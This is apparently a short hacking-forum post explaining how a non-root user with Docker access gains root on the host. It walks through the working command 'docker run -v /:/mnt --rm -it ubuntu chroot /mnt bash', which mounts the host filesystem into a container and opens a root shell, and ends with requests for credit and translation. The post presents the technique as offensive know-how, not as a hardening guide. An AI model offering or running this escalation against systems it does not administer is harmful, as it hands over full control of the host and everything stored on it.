Docker Engine privilege's escalation ( root )

[D2]

Dockirize everything !

Holla XSS!

in 2024 docker is everywhere and involved in everything


its all about misconfiguration .


looking into docker normal usage as example

Код: Скопировать в буфер обмена
docker run hello-world

This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.

am normal user priv in a server... but i was able to excute the above command means i can use docker as user..


lets play around ..

Код: Скопировать в буфер обмена
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

info :
Parameter -v will create volume in docker instance , Parameter -it makes docker in shell mode instead of daemon process.

and we are root !


Infected Version :




Credits Please if Copied never shared in other forums!
show some love to keep this going by reaction or whatever support !
any translation to Russian is appreciated from experienced user !






​